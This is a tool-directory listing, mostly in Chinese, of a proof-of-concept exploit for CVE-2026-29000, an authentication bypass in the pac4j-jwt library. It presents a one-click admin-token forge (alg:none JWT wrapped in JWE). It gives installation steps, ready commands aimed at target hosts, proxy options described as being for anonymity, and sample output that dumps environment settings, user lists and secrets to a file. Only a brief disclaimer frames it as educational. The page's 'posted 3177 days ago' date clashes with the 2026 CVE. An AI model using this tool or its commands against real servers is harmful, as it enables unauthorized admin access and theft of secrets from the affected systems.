Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – pac4j-jwt 身份验证绕过(CVSS 10.0)。通过公钥 JWE 封装实现一键伪造管理员身份。泄露配置、用户、密钥。支持 keep-alive、代理、自定义 JWKS。教育用途 PoC 漏洞利用工具。 | Kitploit
工具/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
身份验证与授权Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试学习与教育红队
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

CVE-2026-29000 – pac4j-jwt 身份验证绕过(CVSS 10.0)。通过公钥 JWE 封装实现一键伪造管理员身份。泄露配置、用户、密钥。支持 keep-alive、代理、自定义 JWKS。教育用途 PoC 漏洞利用工具。

3177天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-29000 - pac4j-jwt 身份验证绕过漏洞利用

Python CVSS License Pentesting

CVE-2026-29000 - 通过 JWT alg:none + JWE 加密实现一键管理员伪造

> 概述

此漏洞利用工具武器化了 CVE-2026-29000,这是 pac4j-jwt 库中的一个 CVSS 10.0 严重漏洞。通过提取服务器的公共 JWKS 密钥并伪造一个使用 alg: none 的加密 JWE 令牌,它实现了完全的身份验证绕过,并一键授予完整的管理员权限。

[</>] 主要功能

  • [+] 无需任何身份验证 - 预认证利用,无需有效凭据
  • [+] 自动 JWKS 发现 - 扫描 15+ 个端点,支持自定义路径
  • [+] RSA 密钥提取 - 获取公钥,即时将 JWK 转换为 PEM
  • [+] JWT + JWE 伪造 - 创建 alg:none JWT,并用服务器自身的公钥进行封装
  • [+] 完整管理员令牌 - ROLE_ADMIN、admin:true、可配置过期时间
  • [+] 身份验证绕过 - 自动测试 8+ 个受保护端点
  • [+] 智能信息泄露 - 枚举 20+ 个敏感 API 路径
  • [+] 会话持久化 - 保活线程维持访问
  • [+] 代理支持 - HTTP/HTTPS 代理以实现匿名
  • [+] 文件导出 - 将伪造的令牌和泄露的数据保存到文件
  • [+] 重试机制 - 针对不稳定连接的可配置重试
  • [+] 彩色输出 - 专业的基于阶段的视觉反馈
  • [+] 详细模式 - 用于故障排除的调试日志
  • [+] 无硬编码延迟 - 仅有重试退避和保活 ping

受影响版本

库受影响版本修复版本
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

[!] 免责声明:此工具仅用于授权的安全测试和红队演练。

安装

git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt:

requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

用法

基础一次性利用

python exploit.py --target https://victim.com:8443

Save Forged Token + Leak Data
bash

python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

Verbose Mode with Custom JWKS
bash

python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

With Proxy and No Keep-Alive
bash

python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

Custom Keep-Alive Interval
bash

python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

SSL Verification Enabled

python exploit.py -t https://legit.com:8443 --ssl-verify

命令行参数

参数 短参数 必需 默认值 描述 --target -t 是 - 目标 URL(例如 https://example.com:8443) --jwks -k 否 自动检测 自定义 JWKS 端点路径 --output -o 否 无 将伪造的 JWE 令牌保存到文件 --leak -l 否 leaked_TIMESTAMP.txt 将泄露的数据保存到文件 --verbose -v 否 False 启用调试输出 --proxy -p 否 无 HTTP/HTTPS 代理 --user-agent -ua 否 Mozilla/5.0... 自定义 User-Agent --no-keep-alive - 否 False 禁用会话保持连接 --delay - 否 5.0 保持连接 ping 间隔(秒) --max-retries - 否 3 每个失败请求的最大重试次数 --ssl-verify - 否 False 验证 SSL 证书

示例输出

$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

════════════════════════════════════════════════════════════════
   CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 
             The Educational One‑Click Admin Forge                     
                    CVSS 10.0 - CRITICAL                              
════════════════════════════════════════════════════════════════

[11:23:15] 阶段 1:从 JWKS 获取 RSA 公钥 [11:23:15] 正在探测 JWKS 端点... [11:23:16] 在 /realms/master/protocol/openid-connect/certs 找到 JWKS [11:23:16] 成功提取 RSA 公钥

[11:23:16] 阶段 2:使用 alg:none 构造 JWT 并加密为 JWE [11:23:16] 已伪造 JWE 令牌(截断):eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ 令牌已保存至 backdoor.jwe

[11:23:16] 阶段 3:将伪造的 JWE 作为 Bearer 令牌发送 [11:23:17] ✓ 认证成功!已获得 /api/users/me 的访问权限

[11:23:17] 阶段 4:枚举可访问端点并泄露敏感数据 [11:23:18] ✓ 已泄露:/actuator/env(状态 200) [11:23:18] ✓ 已泄露:/api/users(状态 200) [11:23:18] ✓ 已泄露:/api/secrets(状态 200) [11:23:18] ✓ 已泄露:/config/server(状态 200) [11:23:18] ✓ 已捕获 4 个敏感端点 → 已保存至 leak.txt

[11:23:18] 保活会话已激活(按 Ctrl+C 停止) [11:23:18] 令牌(JWE)有效期约 1 小时 – 若已过期请重新伪造

相关漏洞利用

查看我的其他漏洞利用仓库:

  • CVE-2026-41940
  • CVE-2026-0073
  • CVE-2026-29000
下载工具